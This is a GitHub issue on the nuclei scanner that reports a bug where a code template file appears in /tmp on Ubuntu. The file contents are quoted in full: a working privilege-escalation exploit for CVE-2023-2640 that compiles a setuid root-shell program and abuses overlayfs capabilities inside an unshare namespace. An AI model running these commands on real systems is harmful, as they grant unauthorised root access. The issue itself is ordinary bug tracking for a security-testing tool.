nuclei icon indicating copy to clipboard operation
nuclei copied to clipboard

Code template file creation / validation as default

Open ehsandeep opened this issue 1 year ago • 0 comments

Nuclei version:

dev / main

Current Behavior:

Code template being created in /tmp dir on Ubuntu.

cat /tmp/162753032
cd /tmp
echo '#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nint main() {\n if (setuid(0) != 0) {\n fprintf(stderr, "\\x1b[31mFailed to set UID to 0.\\x1b[0m\\n");\n return 1;\n }\n\n printf("Entering \\x1b[36mprivileged\\x1b[0m shell...\\n");\n if (system("/bin/bash -p") == -1) {\n fprintf(stderr, "\\x1b[31mFailed to execute /bin/bash -p.\\x1b[0m\\n");\n return 1;\n }\n\n return 0;\n}' > test.c
gcc test.c -o test
unshare -rm sh -c "mkdir -p l u w m && cp test l/ && setcap cap_setuid+eip l/test && mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/test && u/test && id;"

Steps To Reproduce:

  1. Clean up /tmp
  2. Run nuclei
  3. See ls /tmp

Notice file gets created with code template content https://github.com/projectdiscovery/nuclei-templates/blob/main/code/cves/2023/CVE-2023-2640.yaml

Need to investigate why code template file get created in /tmp location even code templates are not loaded / used as default.

Note: this is not reproducible on mac

ehsandeep avatar Jan 21 '24 18:01 ehsandeep